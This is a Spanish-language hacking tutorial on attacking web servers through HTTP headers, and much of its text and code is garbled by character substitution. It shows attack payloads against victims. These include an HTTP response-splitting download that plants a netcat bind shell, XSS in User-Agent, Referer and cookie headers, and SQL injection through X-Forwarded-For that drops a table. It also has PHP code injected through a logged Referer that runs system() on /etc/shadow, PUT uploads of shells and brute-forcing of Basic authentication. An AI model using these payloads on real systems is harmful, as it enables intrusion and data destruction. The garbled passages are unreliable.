Escolar Documentos
Profissional Documentos
Cultura Documentos
com # # "ate: ##$%$&00' # # (ontact: camaleon)#'*hotmail!com & +i,!securit-*gmail!com # ################################################################ [-------------Index-------------] 0,0#: .ntroducci/n al protocolo HTTP /!0,0# 0structura de HTTP - sus cabeceras /!0,0& 1etodos HTTP 0,0&: Sni22eo - 1odi2icaci/n de (abeceras 0,03: .n-ectando (/digo /!0,03 (4+5 .n6ecton: "escargas .n2ectadas 7.ntroducci/n al HTTP Splitting8 /!0,09 :SS & S;+ in6ections /!0,0< PHP in6ections 0,09: 0numeraci/n a tra =s de HTTP /!0,0> Sacar in2ormaci/n con ?PT.?@S /!0,0A Banner Crabbing /!0,0' Http 5ingerprinting 0,0<: (ontraataDuesE 0 itando la identi2icaci/n de nuestro ser idor 0,0>: AtaDues con 1etodos /!0,% (reacion - Borrado de 2icheros 7PFT - "0+0T08 /!0,#0 AuthoriGation 0,0A: +inks de inter=s & "espedida [-------------Index-------------]
caracteresE de acuerdo a un 2ormatoE Due se usa para nombrar recursos F4. es Fni2orm 4esource .denti2ier 7identi2icador uni2orme de recurso8 de2inido en este link L#M
Asi es como traba6a HTTPE T(P/.P hace una petici/n a la "@S del ser idor con el Due estemos
dialogando actualmente para resol er la .p de dicho ser idor! Se establece la cone,i/n T(P! 0l na egador en ia una petici/n al ser idor 7 eIse punto /!0,0&8! 0l ser idor con2irma la petici/n en ia el archi o! 5inaliGa la cone,i/n! Seguimos ahora con las cabecerasE o- a proceder al anIlisis de una cabecera HTTP! 4ealiGamos una petici/n H0A" a KKK!google!es
0mpeGemosE nada mIs realiGar nuestra petici/n el ser idor nos manda el c/digo de respuesta L&M &00! +os c/digos de rango &,, indican Due la operaci/n se ha realiGado con =,itoE - ahora la cabecera L3M: #ac$e-#ontrol: Cenera las directi as Due deben ser usadas por cualDuier mecanismo a lo largo de la petici/n/respuesta! #onnection: .ndica Due la cone,i/n se cierraE no se mantiene como en keep$ali e %ate: 5echa - hora actual &er'er: .ndica el tipo de S!? Due corre en el ser idor 7Vease /!0,0A8 #ontent-Len(t$: (ampo Due indica el tamaJo del cuerpo del documento oE en decimal E en iado al destinatario Due hubiera en iado la peticion #ontenrtT!pe: Tipo de contenido - codi2icacion del archi o al Due realiGamos la petici/n Expire : 1uestra la 2echa en la Due a caducar la cache de nuestra petici/n! &et-#oo)ie: 0s la coockie Due nos en ia la pagina a la Due hemos realiGado la petici/nE en ella aparece su ."! Su 2echa de e,piraci/nE sobre Due directorio actua - el domio desde donde se ha obtenido!
+ET: 0l m=todo mIs usadoE C0T obtiene cualDuier tipo de in2ormacion identi2icada en el 2ichero al Due realicemos la petici/nE ademIs la respuesta Due obtenemos del ser idor 7c/digo 2uente de dicho archi o8 es interpretada por nuestro na egador! HE,% : Nunto a ?ptions uno de los Due mIs in2ormaci/n Otil nos da! 0l ser idor nos de uel e los headers de este mismoE gracias a esto podemos obtener datos como el tipo de Keb app Due esta corriendoE su ersi/n - otra in2o Due eremos mIs adelante P-&T : 0s usado para pedir Due el ser idor acepte in2ormaci/n en iada desde el cliente! +o Due pase de ahH en adelante es -a tarea de la aplicacion! 06emplo: Fpload echo en php nosotros en iariamos un contenido post de este estilo: $$$$$$$$$$$$$$$$$$$$$$$$$$$$$#%9##'%A>'<%A'#0#%%##&'<%'<<'PrPn (ontent$"isposition: 2orm$dataQ nameRSarchi oSQ 2ilenameRSB0000>3(?:!0#!)S(+TTTTTTT)!6pgSPrPn (ontent$T-pe: image/6pegPrPn PrPn "icho upload ha admitido la imagen 6pg 7este upload es ulnerable L9M8 -PTI-.&: +legamos al metodo Due mIs in2ormaci/n nos daE options nos in2orma de los metodos de petici/n - respuesta Due admite el ser idorE este metodo condiciona lo Due a-amos a hacer si estamos intentanto encontrar un 2allo en algun ser idor o en alguna Keb app con las tecnicas Due eremos posteriormente P/T : 0l contrario de C0T por asi decirloE si C0T lee el source del arhi oE PFT permite modi2icarlo - sobreescribir el codigo original! %ELETE: Su propio nombre lo diceE permite borrar el archi o Due especi2iDuemos! T0,#E: 0l metodo re2le6o o espe6o, hace Due el ser idor responda lo mismo Due le mandamos.
nuestro na egador a mandado! 0n cada cabecera en iada aparece deba6o su respuestaE como aparece en el e6emplo:
C0T / HTTP/#!# Host: Pruebas!5oS!(om Fser$Agent: 1oGilla/<!0 7WindoKsQ FQ WindoKs @T <!#Q es$0SQ r :#!'!#!#>8 Cecko/&00'0A0& 5ire2o,/&!0!0!#> Accept: te,t/,mlEapplication/,mlEapplication/,htmlX,mlEte,t/htmlQDR0!%Ete,t/plainQDR0!'Eimage/pngEY/YQDR0!< Accept$+anguage: es$esEesQDR0!'Een$usQDR0!<EenQDR0!3 Accept$0ncoding: gGipEde2late Accept$(harset: .S?$''<%$#Eut2$'QDR0!AEYQDR0!A Zeep$Ali e: 300 (onnection: keep$ali e
HTTP/#!, &00 ?Z Ser er: 1icroso2t$..S/<!0 "ate: SatE 0> Sep &00' &#:&%:<> C1T :$PoKered$B-: ASP!@0T (ontent$+ength: 3<%&% (ontent$T-pe: te,t/html Set$(ookie: ASPS0SS.?@."S(;4S;T4RN+0."+?BC"C+Z+A1P5"(.?5+Q pathR/ (ache$(ontrol: pri ate
0sta serHa la cabecera sni22eada por nuestro AddonE tanto la en iada por nosotros al ser idor realiGando la petici/n C0T como la cabecera de respuesta del ser idor! Ahora bienE si lo Due deseamos es modi2icar dicha cabeceraE tendremos Due clicar en la cabecera a modi2icarE - tras esto clicar sobre el bot/n V4epetirW! Tras esto se nos abrirI un pop$up Due permitirI la edici/n de la cabecera! 0n este pop$up aparece la petici/n Due en la parte superior la petici/n Due hemos realiGado! 0n ese campo de te,to aparecen dos opciones por de2ecto para editarE o seleccionar C0T o P?ST! PeroE como probablemente esos dos m=todos no sean los Due amos a utiliGar 7puesto Due se suele traba6ar con otros como H0A"E ?PT.?@SE PFT - demIs8E tendremos Due clicar sobre la ca6a de te,to - borrar la petici/n Due ha-a - escribir la Due Dueramos! Al lado de la ca6a Due de2ine el m=todo de la cabeceraE tenemos el host al Due a a ser dirigido - deba6oE los campos a editar de la cabecera! Fna cosa mu- buena Due tiene +i e HTTP Headers es Due tiene un sistema de medici/n del nOmero de caracteres automIticoE lo Due hace mu- 2Icil rellenar el campo de (ontent$+engt! Tras editar nuestra cabecera 7-a obser areis en otros capHtulos de este paper para Du= amos a editarlas8 solamente tendremos Due ol er a clicar en V4epetirW! Ahora cerramos el pop$up buscamos entre todas las cabeceras la respuesta del ser idor! (uando tengamos demasiadas cabeceras sni22eadas en pantallaE podemos borrarlas para Due continOe sni22eando nue as cabeceras pulsando V+impiarW! 0,isten otras 2ormas de traba6ar con las cabeceras sin tener Due sni22earlas para modi2icarlasE como por e6emplo apro echar algOn programa Due haga negociaciones T(PE como por e6emplo pueden ser TelnetE Putt-E o los populares @etcat - (r-pt(at! Para mandar una cabecera a un host remoto usando @etcat ha- Due seguir unos sencillos pasos!
#!$ 0scribimos en nuestro int=rprete de comandos 7Shell8 nc [H?STU '0 7P!0! nc KKK!google!com '08! &!$ (uando se conecteE escribimos la cabecera de acuerdo con los estIndares para e itar Due el ser idor nos de una respuesta insatis2actoria! 3!$ Pulsamos dos eces enter para seJaliGar el 2in de la cabecera 7recordemos Due el 2in de las cabeceras iene seJaliGado por dos seJales de (4 - +58! 9!$0speramos a Due se nos muestre la respuesta del ser idor en la pantalla! ADuH de6amos una captura de c/mo se realiGa dicho procedimiento:
Si nosotros a la ariable 2ileE en eG de meter Onicamente el archi o Due Dueremos descargarE lo Due hacemos es aJadirle una seJal de doble salto de lHnea seguida de c/digoE cuando la persona descargue ese archi oE su contenido se habrI sobrescrito por el Due nosotros aJamos colocado en la F4+! (on esto hacemos Due la Hctima e6ecute c/digo malicioso Due podrHa poner en 6aDue su seguridadE si por e6emploE lo Due aJadimos es colocar una shell en un puertoE o borrar :
2ichero! (omo Prueba de (oncepto para er Due realmente 2uncionaE aDuH teneis la cabecera resultante de setear la ariable 5.+0 con Batch!bat\0d\0a\0d\0anc `l `p <A `e cmd:
HTTP/#!# &00 ?Z "ate: ThuE &A 1ar &00' 0<:0&:&9 C1T Ser er: Apache (ontent$"isposition: attachmentQ2ilenameRtro-ano!bat
nc $l $p <A $e cmd
(omo podemos erE el codigo 2uente se ha sobrescrito por una lHnea cu-a 2unci/n es la de colocar una shell en el puerto <A de la Hctima! asta es solo una aplicaci/n de las muchas Due conlle a el HTTP SplittingE puesto Due su potencial puede ser increHble! 0ste apartado ha sido una mera introducci/n a este tipo de ataDue para Due os piDue el gusanillo e in estigu=is sobre =lE -a Due es un tema mu- amplio - como no DuerHamos des iarnos demasiado del tema central del paper apenas lo hemos podido tocar!
Host: KKK! ermiip!es Fser$Agent: [scriptUalert7/5oS Tea1/8[/scriptU Accept: te,t/,mlEapplication/,mlEapplication/,htmlX,mlEte,t/htmlQDR0!%Ete,t/plainQDR0!'Eimage/pngE Y/YQDR0!< Accept$+anguage: es$esEesQDR0!'Een$usQDR0!<EenQDR0!3 Accept$0ncoding: gGipEde2late Accept$(harset: .S?$''<%$#Eut2$'QDR0!AEYQDR0!A Zeep$Ali e: 300 (onnection: keep$ali e 4e2erer: [scriptUalert7/0Kn3d/8[/scriptU (ookie: datosR2echaR0%\&50%\&5&00'X#>\3A90&ipR[scriptUalert7/5uck F/8[/scriptUQ ASPS0SS.?@."S(BTTBBSR(.@ZZHZ(5+Z0.?@"Z(H.PPP( (ache$(ontrol: ma,$ageR0
"amos a repetirb et oilIc Fn bonito :SS! Por eso muchos Kebmaster para VasustarW a posibles VatacantesW o usuarios malintencionados optan por mostrar esos datosE .PE Fser$Agent - demIsE pero lo Due no saben es Due estIn poniendo en peligro su propia seguridad! ^ mIs aOn cuando muchas eces guardan estos datos en un archi o para isualiGarse desde un panel de administraci/nb 0ntonces sH Due estamos de una ulnerabilidad - de las gordas! Tambi=n muchos sistemas de estadHsticas se basan en un sistema de recogida en un archi o los 4e2erer de la gente Due entra su KebsiteE - con esos datos elaboran listas de links Due apuntan a su sitiob 0,iste una alta probabilidad de Due en estos casos tambi=n nos encontremos de cara a un posible ataDue apro echando el :SS! PeroE los Oltimos tiempos se han puesto de moda las gestiones con bases de datos para 2acilitar optimiGar el traba6o de los Kebmasters! PeroE las sentencias para usar las "Bs 7"ata Bases8 si utiliGan ariables Due proceden de las cabeceras! Fn claro e6emplo 2ue la ulnerabilidad descubierta por Sir"arck(at en :$StatisticsL<M E aplicaci/n la cual usaba los datos recogidos de Fser$Agent sin realiGar un correcto 2iltradoE lo Due conlle aba a Due un usuario malintencionado pudiera introducir sentencias malignas 7S;+ .n6ections8 dentro de las cabeceras! ?tro escenario seria un sistema de baneado a tra es de :)5?4WA4"0")5?4:
$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $consult = !"s#l_#u$%"& 'SE(E)T * FRO+ , n$ -os ./$%$ ip=$ip' 0 $con$1ion);
0n ese c/digo ulnerableE podemos spoo2ear la cabecera - aJadirle una S;+ in6ection con el c/digo 2oodQ "4?P TAB+0 baneadosQ$$E pro ocando Due se borre la tabla SbaneadosS! Si nos apeteciera 6ugar mIsE usando .S04T .@T? podriamos aJadir la .P del admin para darle un susto - a isarle!
(on un include78 mal 2iltradoE nosotros lo apro echamos para in-ectar la url de nuestro interprete de comandos 7shell8E sin embargo las PHP in6ections consisten en usar la propia aplicacion ulnerable como interprete de comandosE para Due esto suceda dentro de dicha aplicacion de e de estar presente la 2unci/n e al78 - el usuario tiene Due poder modi2icar algun parImetro! +a 2orma de pre enir esto es denegar la e6ecuci/n de comandos al usuario o en otras palabras Due nada dentro de e al78 dependa de ariables Due pueda modi2car el usuario! Bueno ahora o- a pasar a mostrarles como podemos implementar las PHP in6ections usando las cabeceras - el +i e HTTP headers .maginense Due tenemos una Keb Due captura todas las ips de los isitantes - para ello usa algo parecido a esto:
[_php ]lista R open 7Sips!t,tSE SaS8Q 2Krite 7]listaE ])S04V04LdHTTP):)5?4WA4"0")5?4dM8Q 2close7]lista8Q _U
^ e identemente otro archi o 7inde,!php por e6!8 llamara a esta especie de logE dicho archi o hara un include78 a ips!t,tE ahora nosotros lo Due pretendemos hacer es modi2icar nuestra cabecera para mandar c/digo php a ips!t,t - cuando este 2ichero sea llamado por inde,!php sea e6ecutado!
C0T /inde,!php HTTP/#!# Host: Fser$Agent: 1oGilla/<!0 7:##Q FQ +inu, i>'>Q en$FSQ r :#!%!0!#8 Cecko/&00'0A#>#< 5edora/3!0!#$#!2c% 5ire2o,/3!0 Accept: te,t/htmlEapplication/,htmlX,mlEapplication/,mlQDR0!%EY/YQDR0!' Accept$+anguage: es$esEesQDR0!'Een$usQDR0!<EenQDR0!3 Accept$0ncoding: gGipEde2late Accept$(harset: FT5$'EY Zeep$Ali e: 300 (onnection: keep$ali e 4e2erer: [php ob)cleanQ s-stem7Snano /etc/shadoK #o6alaS8Q _U
"e esta 2orma podemos apro echar la aplicaci/n como si se tratase de una shell! (omo pueden comprobar podemos apro echar para e6ecutar comandos habiendo in2ectado el arch io ips!t,tE en nuestro caso hemos intentado isualiGar el archi o shadoK o biamente sin pri ilegios de root nos podemos ir ol idandoE no obstante podemos usar ls para listar el contenido del directorio
(omo emos en el campo AlloKE el ser idor permite los metodos C0TE H0A"E ?PT.?@S T4A(0! Si hemos leido el capHtulo /!0,0& recordaremos Due T4A(0 era el m=todo espe6oE e,iste una tecnica Due usa este metodo para conseguir un :SS aunDue dudo Due en este caso sea posible usarlo!
+a parte encuandrada en ro6o seria la correspondiente al bannerE nos in2orma de Due ha- un ser icio corriendo en el puerto KTP8! @os i2orma tambien Due como aplicaci/n utiliGa 7Pro5T"8 su ersi/n 7#!3!#8 - en este caso tambi=n el host de la Keb 7"reamHost8! Pues sigamosE ahora amos a poner un bre e e6emplo de banner grabbing hacia una Keb mu-
conocidaE sinceramente podrHan ser un poco mIs discretos pero buenoE eso -a depende de como se tome su tarea el administrador:
^ tachInc 1iren cuantra in2ormaci/n hemos sacado con solo una petici/n H0A"! ^a sabemos Due el ser idor utiliGa ApacheE - su ersion #!3!9#! Tambi=n sabemos Due corre sobre un sistema operati o basado en Fni,! ;ue usa la ersi/n <!&!> de PHP 6unto a arios mods 7log)b-tesE bKlimitedE auth)passthroughE ssl8 - ?penSS+ 0!%!'b ;uiGIs estos datos os suenen de algun scaneo Due habr=is echo con nmapE sin embargo como podr=is haber isto hemos ahorrado muchHsimo tiempo! Hacer esto de seguido se os puede hacer una tarea algo pesada por ello amos a de6ar arias herramientas Due os pueden ser ir! He aDuH una simple tool codeada por engadorE Due nos permite obtener la misma in2ormaci/n Due una petici/n H0A"!
234us%4,in4p$%l 2 5 nn$% 6% ,,$% E1 !pl$ ," V$n7 -o% -$ l s So!,% s &F8O8S T$ +) 2 P$%!iti- su -ist%i,uci9n " $-it ci9n si$!p%$ " cu n-o 7u %-$n c%:-itos 2 W..8A%7$ni;$%soH c<8co!8 R == R$!ot$E1$cution8o%6 == >;$%l> -8,lo7spot8co!
unl$ss &$AR6V[>])? @uso A us$ BOCCSoc<$tCCBDET; $/ost = $AR6V[>]; $po%t = $AR6V[E]; $siF$ = 'E>>>'; $p$ticion = 'HEAD 4 HTTPG4E8>'; $p$ticion 8= 'G%GnG%Gn'; 2)onc t$n !os un -o,l$ )R4(F p % in-ic % $l Hin l -$l H$ -$% p%int '[I] )on$ct n-o con $/ost 888Gn';
$soc<$t = n$. BOCCSoc<$tCCBDET& P$$%A--% =J $/ost0 P$$%Po%t =J $po%t0 P%oto =J 'tcp') == -i$ '[K] Do s$ / po-i-o con$ct %
$/ost';
p%int $soc<$t $p$ticion; 2+ n- !os l c ,$c$% %$ - $soc<$t0 $%$spu$st 0 $siF$; 2 ($$!os l s li- -$l Soc<$t Ls li- = split&4Gn40 $%$spu$st ); Ho%$ c/ $lin$ &Ls li- )? iH &$lin$ =M 4S$%;$%4)? $, nn$% = $lin$ ; A A $_ = $, nn$%; 2)on to-o $sto s4NADDRESSJ*44; 2(o #u$ / c$!os $s s4NG4ADDRESSJ44; 2(i!pi % l lOn$ -$ nu$st%o , nn$% $, nn$% = $_; 2P % #u$ s l7 Pnic !$nt$ los - tos #$u nosot%os #u$%$!os p%int 'Gn5 nn$% -$ $/ost =JGnGn $, nn$%GnGn'; $1it&E); su, uso ? p%int 'QsoC 5 nn$% NNHOSTJ NPORTJ'; $1it&>); A 2Fin -$l p%o7% !
Pero si Dueremos automatiGar mIs aun nuestra tarea podemos usar un addon mu- interesante para el 2ire2o,E el Creasemonke- 7https://addons!moGilla!org/es$0S/2ire2o,/addon/A9'8! "ado Due este no es un tutorial sobre este mara illoso addon no daremos una e,plicaci/n concreta sobre su uso o Due hace para ello pueden er los links Due se de6aran al 2inal del paper L>M Pues bien el script Due encontramos estaba echo por (#c9tr#T
44 ==Qs$%Sc%ipt== 44 Ln !$ D$;i t/ n3 44 Ln !$sp c$ /ttpC44...8lo.s$c8o%74 44 L-$sc%iption S! ll HTTPD 5 nn$% 6% ,,$% 44 Linclu-$ * 44 ==4Qs$%Sc%ipt== 4* T/is is s! ll &! ",$ P%ooHKoHK)onc$pt) HTTP , nn$% 7% ,,$%8 W%itt$n ," )EcRT%ES &/ttpC44l ,8lo.s$c8o%74)8 *4 i17location!hre2RRtop!location8e 'ar di Rdocument!create0lement7Sdi S8Q di !setAttribute7SidSEScentauriS8Q di !setAttribute7Sst-leSES2ont$2amil-:VerdanaEArialEHel eticaEsans$seri2Q2ont$siGe:##p,Q$moG$ opacit-:0!'Qposition:2i,edQG$inde,: 0Qtop:&\Q2loat:le2tQle2t:&\Qbackground$ color:#000Qpadding:3p,Qcolor:#555Qborder:#p, dashed #555QS8Q di !innerHT1+RS[b st-leRdcolor:#00A9%0QdU"e iathanc: [/bUSQ C1),mlhttp4eDuest7e method: dC0TdE url: dhttp://dX7document!domain8Xd:'0/dE
headers:e dFserAgentd:d1oGilla/9!0 7compatible8 BannerCrabcd fE onload:1unction7response"etails8e i174S$%;$%C&8*)4i!test7response"etails!responseHeaders88e di !innerHT1+XRSHTTP" Application: SX74eg0,p!]#8!replace74&N=J)4Edd8XS[br/USQ f document!bod-!append(hild7di 8Q f f8Q f
^ cada eG Due isitemos una Keb con nuestro 2ire2o, nos aparecerI una barra de este tipo:
,pac$e:
HTTP/1.1 200 OK Date: Wed, 10 Sep 2008 14:41:01 GMT Server: Apache Last-Modified: ed, !0 "#$ 200% 1&:10:!' (MT )Ta*: +a,e0d-1!a--'!-2%2d%-0c0+ Accept-.a/*es: ,0tes 1o/te/t-Le/*th: !11o//ectio/: c$ose 1o/te/t-T0pe: te2t/ht3$
..S:
HTTP/#!# &00 ?Z Ser er! Mi"roso#$%IIS&'() 1icroso2t?22iceWebSer er: <!0)Pub :$PoKered$B-: ASP!@0T (ontent$+ocation: http://&00!9%!#<<!	/inde,!html "ate: WedE #0 Sep &00' #9:3%:<3 C1T (ontent$T-pe: te,t/html Accept$4anges: b-tes +ast$1odi2ied: ThuE 0> "ec &00A 03:&':#< C1T 0Tag: Seab#b9%b'3Ac'#:#>>%S (ontent$+ength: >>
Podemos er como en las cabeceras de respuesta de los ser idores ApacheE la in2ormaci/n primera Due aparece es "AT0E es decir la 2echaE - deba6o de =sta el banner! ?mitimos el banner dentro de las pruebas de 2ingerprinting porDue como -a hemos dicho con anterioridadE pueden estar spoo2eados! A di2erencia de ApacheE los ser idores Due corren con ..SE muestran como primera in2ormaci/n el bannerE mientras Due el campo "ate Dueda en posiciones in2eriores! (on esta primera prueba -a podrHamos islumbrar ante Du= ser idor nos encontramosb pero ante la duda es siempre pre2erible aplicar los otros tres tests! 0l segundo tests se apro echa de la respuesta de los ser idores ante un m=todo prohibido 7en la ma-orHa de los casos8 como puede ser "0+0T0! Apache - ..S reaccionan ante una petici/n "0+0T0 de 2ormas distintasE -a Due mientras Due Apache responde con un error 90< 71ethod not AlloKed8E ..S lo hace con un 903 75orbidden8! 0l siguiente consisten en mandar una petici/n 7un C0T por e6emplo8 colocando una ersi/n ine,istente de HTTP 73!0E <!&E etc8 para er Du= reacci/n toma el ser idor:
,pac$e:
HTTP/#!# 900 Bad 4eDuest "ate: ThuE ## Sep &00' 0%:30:#A C1T Ser er: Apache/#!3!9# 7Fni,8 PHP/<!&!> mod)log)b-tes/#!& mod)bKlimited/#!9 mod)a uth)passthrough/#!' 5rontPage/<!0!&!&>3< mod)ssl/&!'!3# ?penSS+/0!%!'b (onnection: close Trans2er$0ncoding: chunked (ontent$T-pe: te,t/htmlQ charsetRiso$''<%$#
II&:
HTTP/#!# &00 ?Z Ser er: 1icroso2t$..S/<!0 1icroso2t?22iceWebSer er: <!0)Pub :$PoKered$B-: ASP!@0T (ontent$+ocation: http://&00!9%!#<<!	/inde,!html "ate: ThuE ## Sep &00' 0%:3&:#3 C1T (ontent$T-pe: te,t/html Accept$4anges: b-tes +ast$1odi2ied: ThuE 0> "ec &00A 03:&':#< C1T 0Tag: Seab#b9%b'3Ac'#:#>>%S (ontent$+ength: >>
Podemos er como la respuesta de un ser idor Apache es un error 900 por mala petici/n 7Bad 4eDuest8! Por el contrarioE los ser idores ..S responden con un c/digo de ?Z 7&008 admitiendo este error de ersi/n de protocolo! +a reacci/n se in ierte cuando la petici/n en eG de contener un error en la ersi/n lo contiene en el protocolo en sHE es decirE en eG de poner HTTP/#!: ponemos otras cosas como 5?S/#!::
,pac$e:
HTTP/#!# &00 ?Z "ate: SunE #< Nun &003 #A:#A:9A C1T Ser er: Apache/#!3!&3 +ast$1odi2ied: ThuE &A 5eb &003 03:9':#% C1T 0Tag: S3&9#A$c9$3e<d'a'3S Accept$4anges: b-tes (ontent$+ength: #%> (onnection: close (ontent$T-pe: te,t/html
II&:
HTTP/1.1 -00 4ad .e5#est Server: Microsoft-66S/'.0 7ate: Th#, 11 Sep 200% 0&:!%:08 (MT 1o/te/t-T0pe: te2t/ht3$ 1o/te/t-Le/*th: %8
(omo emosE Apache responde un &00 mientras Due ..S un error 900!
A la luG de los resultados obtenidos tras realiGar esta serie de testsE podemos di2erenciar con alto porcenta6e de acierto ante Du= tipo de ser idor nos en2rentamos! 0sta t=cnica debemos de emplearla en la etapa de la enumeraci/nE -a Due si durante una auditorHa de seguridad o cuando amos a VasaltarW un ser idorE es necesario poder 2ocaliGar lo mI,imo posible nuestra acci/nE es decirE podremos probar a e,plotar ulnerabilidades e,clusi as de ese tipo de ser idor descartar otras t=cnicas de ataDue!
0ste archi o de2ine los datos de la ersi/nE producto etc!!! 0ntonces ahora amos a proceder a modi2icarlo!
#de2ine AP)S04V04)BAS0V0@"?4 STito +i, Ser er 2undationW #de2ine AP)S04V04)BAS0P4?N0(T SZnight 5orce HTTP Ser erS #de2ine AP)S04V04)BAS0P4?"F(T SZnightS #de2ine AP)S04V04)1AN?4V04S.?@)@F1B04 & #de2ine AP)S04V04)1.@?4V04S.?@)@F1B04 0 #de2ine AP)S04V04)PAT(H+0V0+)@F1B04 0 #de2ine AP)S04V04)"0VBF.+")B??+0A@ ' Ahora lo instalamos -E probamos nuestra modi2icaci/n: [(i1LF$-o% M]$ nc loc l/ost T> HEAD 4 HTTP4 E8> U>> OV )onn$ctionC clos$ D t$C T/u0 E> W n U>>T EECUXCER 6+T S$%;$%C Vni7/t Fo%c$ HTTP S$%;$%44U8>8>8T &Qni1) )ont$ntKT"p$C t$1t4/t!l )li$ntKD t$C T/u0 E> W n U>>T EYCYZCUR 6+T )li$ntKP$$%C EU[8>8>8ECT> )li$ntKR$spons$KDu!C E
?tra 2orma mucho menos tediosa seria ba6ar el paDuete mod)headers! Se trata de un m/dulo de apacheE Due permite modi2icar las cabeceras de ueltas por el ser idor! Por e6emplo una eG instaladoE aJadiendo al 2ichero de con2iguraci/n de apache la siguiente lHnea:
H$ -$% s$t S$%;$% Vni7/t Fo%c$ HTTP S$%;$%
^a hemos isto como e itar el banner grabE pero ahora amos a intentar de2endernos del 2ingerprinting! @osotros hemos usado 9 test para conseguir identi2icar el ser idor con mI,ima certeGaE sin embargo e,iste una herramienta mu- usada para el 2ingerprintingE su nombre se llama httprintL'M! "icha herramienta estI cruGi2icada dentro de las reglas de mod)securit(uando instalemos mod)securit-L%M deberemos editar el 2ichero /etc/<od ecurit!*/<od ecurit!Bcr B10Bcon1i(.con1! Sustitu-endo la lHnea: SecSer erSignature SApache/&!&!% 75edora8S Por: SecSer erSignature SZnight 5orce HTTP Ser erS Ser erTokens 5ull 0legimos el nombre Due mas nos apeteGca! Ahora obligamos a Apache a recargar sus 2icheros de con2iguraci/n: /etc/init.d/apac$e* 1orce-reload
2unciona PFT_! PFT necesita de unos parImetros bIsicosE Due si lo pensamos bien resultan l/gicos! +o Due necesita es primero hacer la petici/n al 2ichero sobre el Due deseamos sobrescribir! 0n caso de Due el archi o al Due le hacemos PFT no e,istaE se crearI! Ba6o nuestro punto de ista emos con me6ores o6os a la hora de hacer un Vbuen asaltoW el apro echar 2icheros -a creadosE porDue asH nuestra shell pasarI desapercibida en el ser idor! ?tro parImetro Due necesita PFT es la longitud 7nOmero de caracteres8 Due tendrI el source del archi oE es decirE cuanto mide el c/digo Due amos a escribir! Para indicar estoE e,iste un campo llamado (ontent$+engthE el cual deberemos de rellenar con el nOmero e,acto de caracteres! 0ntonces una posible petici/n serHa la siguiente: PUT /index.html HTTP/1.1 Host: Ficticio.com Content-Length: 47 <script !lert"#Teste!ndo m$todo PUT%&'</script
(omo emos el uso de PFT es sencilloE pero ha- eces Due la cosa se complica puesto Due pide alguna 2orma de autenti2icaci/n para poder lle ar a cabo esta petici/n con =,ito! (uando se usa PFTE el mensa6e de Due las negociaciones han sido per2ectas iene de2inido por un c/digo &0#! 0ste &0# indica Due el archi o ha sido subido/sobrescrito per2ectamente! Vol iendo a lo de la autenti2icaci/nE deciros Due este tema se tocarI en el siguiente capHtulo! (omo an=cdota de PFTE decir Due en los ser idores ..S <!0 iene acti ado por de2ectoLAME con lo Due depende del dueJo del ser idor el deshabilitad este m=todoE lo Due da pie a una alta probabilidad de encontrar este m=todo permitido en ser idores antiguos! 0l gran problema de PFT es Due de6an unas huellas en los logs Due son increHblemente sencillos de analiGar - de er el 2alloE -a Due en los logs se recogen las peticiones Due habeis realiGado!
Por contrapartida a PFT encontramos "0+0T0! 0ste m=todoE como su propio nombre indicaE tiene la 2unci/n de eliminar el archi o al Due le hace la petici/n!
(omo podemos erE "0+0T0 es un m=todo 2Icil de usarE pero Due al igual Due put suele aparecer deshabilitadoE - de6a tambi=n unos rastros enormes en los logs! Tanto "0+0T0 como PFT necesitan en muchos casos de rellenar el campo VAuthoriGationWE - esto es lo Due amos a er en el siguiente capHtulo!
/.0x10 ,ut$oriDation
(on la 2irme intenci/n de preser ar la seguridad en los ser idoresE la inmensa ma-orHa a implementado un sistema de autenti2icaci/n para e itar Due usuarios malintencionados no abusen de los m=todos Due tienen permitidos en el ser idorE es decirE de6an alloKed m=todos tales como PFT o "0+0T0 pero piden algOn tipo de identi2icaci/n para poder lle ar a buen puerto la petici/n! 0sta Videnti2icaci/nW puede ser de arios tiposE pero los mIs e,tendidos son Basic - "igest! +a identi2icaci/n se en Ha dentro del headerE en el campo AuthoriGation! 0l tipo de identi2icaci/n mIs primiti o - por ello menos seguro es Basic! 0ste tipo de identi2icaci/n se basa en una passKord encriptada en Base>9E Due generalmente es 2Icil de e,traer con un poco de l/gicaE -a Due en el >0\ de los casos se trata del nombre del hostE la .P del ser idor - cosas por el estilo! +a estructura bIsica para obtener una identi2icaci/n Ilida es Base>97Palabra#:Palabra&8! +o Due deberemos de cambiar serIn Palabra# - Palabra& hasta lograr encontrar el login correcto! A eces encontramos DueE si durante la 2ase de la enumeraci/n hemos localiGado un ser idor ulnerable a algOn tipo de B-passing para estoE lo Due se conoce como HTTP >a ic ,ut$entication >!pa A podrHamos usarlo para poder lle ar a cabo nuestra petici/n VprohibidaW! 0n caso de Due no logremos pasar la 2ase de eri2icaci/n de los credencialesE obtendremos como respuesta a nuestra petici/n un error 90# 7FnathoriGated8E por el contrario si las negociaciones se lle an de 2orma correctaE puesto Due hemos acertado en el passKord - en el usuarioE obtendremos un c/digo ?Z &0# 7en el caso de haber hecho uploading a una shell por e6emplo8!
0l segundo tipo de sistema de autenti2icaci/n es "igest 7%i(e t acce aut$entication6. 0ste sistema es mucho mIs seguro Due BasicE en cuanto a Due no manda la in2ormaci/n como te,to planoE si no en 2orma de un hash basado en el algoritmo 1"<! SegOn los stIndaresE este sistema de autenti2icaci/n sigue el siguiente comportamiento:
Ha $, E M%:5,6 E M%:5u erna<e : real< : pa Ha $> E M%:5>6 E M%5<et$od : %i(e t /0I6 0e pon e M%:5Ha $, : nonce : Ha $>6
Ford6
Sobre este sistema decir Due es atacable mediante colisionesE aunDue e,isten mecanismos implementables en los ser idores encargados de detectar colisiones dentro de los credenciales! Fn segundo ataDue algo mIs V iableW serHa el establecer un ataDue basado en 5uerGa Bruta desde una red de ordenadores! 4ealmente para e,plotar un simple PFT o un "0+0T0 lle ar a cabo cualDuiera de estos dos posibles ataDues contra una autenti2icaci/n "igest es una tonterHaE pero sH Due puede ser necesaria en caso de Duerer realiGar un ataDue Va ma-or escalaW en el cual si Due necesitemos romperlo!
Por Oltimo llegamos a la despedidaE para esta parte de6aremos de escribir como dos! Vengador de las Sombras: Agradecimientos a los integrantes del 5?S Tea1E tambi=n a mi hermano PlagaE a +utscherE SetHE (H40@0< - askatasun de (PHE a 5r39kE Phoni, - Ze-net de 40E - por Oltimo de Argeni ersoHack a WaesWaes - 4CB0%0 +i,/Sknight: Saludos a Tec$n0,E eT:dsE TorE ?G:E #%%<E (#c9tr#TE @ano @ 4osesE HuemulitoE Shell Ziller & all (PH Sta22!